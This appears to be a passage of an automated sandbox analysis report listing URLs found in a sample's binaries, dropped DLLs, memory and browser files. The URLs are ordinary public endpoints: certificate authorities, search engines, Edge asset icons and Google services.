Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_474.4.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2556613185.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2556229574.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2546420585.000000001D891000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: DBAEGCGC.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Reporting and NEL.9.dr	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingcsp
Source: chromecache_474.4.dr	String found in binary or memory: https://apis.google.com
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.2550982673.00000000239E1000.00000004.00000020.00020000.00000000.sdmp, BFBAAFHDHCBGCAKFHDAK.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000002.2550982673.00000000239E1000.00000004.00000020.00020000.00000000.sdmp, BFBAAFHDHCBGCAKFHDAK.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: Reporting and NEL.9.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://c.msn.com/
Source: DBAEGCGC.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.2528465742.0000000001283000.00000004.00000020.00020000.00000000.sdmp, BGHCGCAE.0.dr, Web Data.8.dr, DBAEGCGC.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.2528465742.0000000001283000.00000004.00000020.00020000.00000000.sdmp, BGHCGCAE.0.dr, Web Data.8.dr, DBAEGCGC.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.8.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.8.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: 7ecf6e47-3294-4253-9ea8-4824354e5bf4.tmp.9.dr, aad28802-606a-46ac-8796-f6f4e93549f2.tmp.9.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.8.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 7ecf6e47-3294-4253-9ea8-4824354e5bf4.tmp.9.dr, aad28802-606a-46ac-8796-f6f4e93549f2.tmp.9.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: file.exe, 00000000.00000002.2550982673.00000000239E1000.00000004.00000020.00020000.00000000.sdmp, BFBAAFHDHCBGCAKFHDAK.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2550982673.00000000239E1000.00000004.00000020.00020000.00000000.sdmp, BFBAAFHDHCBGCAKFHDAK.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: Reporting and NEL.9.dr	String found in binary or memory: https://deff.nelreports.net/api/report
Source: 2cc80dabc69f58b6_0.8.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: Reporting and NEL.9.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msnw
Source: manifest.json0.8.dr	String found in binary or memory: https://docs.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000002.2528465742.0000000001283000.00000004.00000020.00020000.00000000.sdmp, BGHCGCAE.0.dr, Web Data.8.dr, DBAEGCGC.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: BGHCGCAE.0.dr, Web Data.8.dr, DBAEGCGC.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000002.2528465742.0000000001283000.00000004.00000020.00020000.00000000.sdmp, BGHCGCAE.0.dr, Web Data.8.dr, DBAEGCGC.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 000003.log6.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log6.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log6.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log7.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr, HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log6.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr, HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
